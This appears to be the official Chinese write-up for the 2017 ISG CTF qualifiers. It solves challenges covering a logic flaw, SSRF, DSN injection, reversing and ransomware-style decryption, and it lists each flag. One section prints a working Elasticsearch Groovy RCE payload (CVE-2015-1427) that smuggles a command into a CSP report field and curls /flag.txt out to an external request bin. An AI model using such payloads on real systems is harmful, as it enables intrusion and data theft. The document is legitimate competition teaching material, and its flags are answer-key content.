摘要: 2017年ISG“观安杯”管理运维赛初赛落幕,成绩如何还不得而知,但是官方版本的writeup先来一发。 ISGcoinMarket 考点逻辑漏洞解题思路分别注册 user1, user2, user3 三个用户 user1发布交易,...
2017年ISG“观安杯”管理运维赛初赛落幕,成绩如何还不得而知,但是官方版本的writeup先来一发。
ISGcoinMarket
考点
- 逻辑漏洞
解题思路
- 分别注册 user1, user2, user3 三个用户
- user1发布交易,教育类型为卖出人民币,金额-100000000000,汇率0.0054
- user2与user1进行交易
- user3发布交易,教育类型为卖出人民币,金额-99999998000,汇率0.0059
- user1与user3进行交易
- 购买flag
ISG{acf7ef943fdeb3cbfed8dd0d8f584731}
RetiredInfrastructure
考点
- CSP
- 漏洞相关内容的快速检索能力(CVE-2015-1427)
- Elasticsearch Groovy沙盒绕过exp的编写
解题思路
- 发现CSP中有report-uri,直接访问后发现该平台后端是Elasticsearch,结合题意说明ES平台可能比较老,猜测有RCE
- 构造如下exp执行
curl -X POST http://target.com/csp-report.do -d'
{
"csp-report": {
"document-uri": "http://example.com/login?msg=%3Cimg%20src=%22http://test.com%22%3E",
"referrer": "\";java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"curl -X POST https://requestb.in/ugpaq0ug -d@/flag.txt\");\"",
"violated-directive": "img-src",
"effective-directive": "img-src",
"original-policy": "default-src 'self' data:; script-src 'self'; style-src 'self'; report-uri /csp-report.do;",
"disposition": "enforce",
"blocked-uri": "http://test.com/",
"status-code": 200,
"script-sample": ""
}
}
'
ISG{3501e06ad853a0b1e12407d7070b8668}
Remix
- 查看页面源代码,发现注释里写flag运行在本机的8792端口,想到是考察ssrf。
- 在表单中填写http://localhost:8792 并提交,获得一串Base64 SVNHezM4ODIwZmJlN2JlMzhlZWZjNjU5M2YwNzIyNWI4NThjfQ==
- 解码获得FLAG ISG{38820fbe7be38eefc6593f07225b858c}
wmwcms
- 查看网站的robots.txt文件,发现wmwcms.zip,获取源码。 审计之后发现dsn参数有问题,可以控制其连接端口,从而控制img.php中读取的文件。
- 根据源码中提供的sql文件创建数据库后使用户头像的值为../server/flag,然后构造palyload:http://202.120.7.204:7242/app.php?action=img&dsn=wmwcms;host=xx.xx.xx.xx
- 最终远程连接数据库拿到flag
login
- 通过逆向分析可以发现本程序以用户名作为key通过一系列较为复杂的变换生成了一个大小为256的char数组并取出其中特定的元素与输入的密码异或,然后验证异或结果是否为期望值,是则密码为flag
- 由于用于异或的字符序列是固定的,因此可以在异或的地方下断点即可获得整个序列,与期望值异或即可获得flag
注:其实本程序的加密算法为rc4的变种,不过由于本题存在混淆,动态调试为最佳解法
bmp wannacry1
- 通过逆向分析可知本程序会对bmp文件的data部分,每0x80字节为一块,以相同的key和iv用aes-cfb加密之
- 上网搜索或自行逆推,编写aes-cfb的解密脚本,解之即可
#!/usr/bin/env python
# coding=utf-8
from Crypto.Cipher import AES
def dec(x, k, iv='000102030405060708090A0B0C0D0E0F'.decode('hex')):
cipher = AES.new(k, AES.MODE_ECB)
assert len(x) % 128 == 0
res = bytearray()
for k in range(0, len(x), 128):
tmp_iv = iv
for i in range(0, 128, 16):
tmp = bytearray(cipher.encrypt(tmp_iv))
tmp_iv = x[k+i:k+i+16]
b = bytearray([ii^ord(jj) for ii,jj in zip(tmp, x[k+i:k+i+16])])
res += b
return res
def dec_bmp(name):
f1 = open(name, 'rb')
f2 = open(name[:-4], 'wb')
f2.write(f1.read(54))
tmp = f1.read()
f1.close()
with open('./key.bak', 'rb') as f:
key = f.read()
tmp = dec(tmp, key)
f2.write(str(tmp))
f2.close()
if __name__ == "__main__":
dec_bmp('flag.bmp_enc')
bmp wannacry2
分析
本题的程序与bmp wannacry1基本相同,但是本题未提供key。但是事实上由于每个0x80大小的字节块加密时所用的iv和key相同,所以在aes-cfb加密下每块的前16字节相当于是异或了相同的字节序列,且字节块的值越接近,加密时与前16个字节之后的明文异或的序列也会越接近。而取出加密文件所有字节块可以发现有很多字节块都是相同的,故推测图片中存在大量纯色部分,而纯白像素在bmp中用‘\xff\xff\xff’表示,纯黑则为‘\x00\x00\x00’,方便起见可将该重复出现的字节序列视为用于异或的序列,则相当于把留白部分视为全黑,这样就可以恢复出一部分数据。而在本题中,恢复出这一部分足以看出flag。
解题脚本
s=open("./flag.bmp_enc","rb").read()
o=0x2c500
key=s[o:o+128] # 取出多次重复的字节块
r=s[:128*50]
for i in range(128*50, len(s)):
r+=chr(ord(s[i]) ^ ord(key[i%128]))
open("test.bmp","wb").write(r)
Ransonware
- 首先拿到题目后发现有两部分组成,一个apk文件和一个jpg文件。Jpg文件无法用常规软件打开,用十六进制编辑器查看后发现已经被加密过;
- 推测和该图片相关的信息在apk中,将apk安装到手机上,发现界面十分简单,没有可供操作的地方;
- 对APK进行逆向分析,在MainActivity中可发现和jpg文件相关的逻辑。
分析该处逻辑可知,该应用会对sd卡上名为target.jpg的文件进行加密操作,加密后的文件就是题目中提供给我们的_target.jpg文件。分析加密逻辑发现使用的是标准的AES加密,密钥通过transform函数生成;
- 分析transform函数的逻辑可知,该处密钥是将函数的输入“dajidalijinwanchiji~~”和一个固定数组异或得来,使用python或java重现该段逻辑,获得最终的加密密钥”winnerwinnerchickendinner”;
- 对_target.jpg进行解密可获得未加密的图片,从图片中可得flag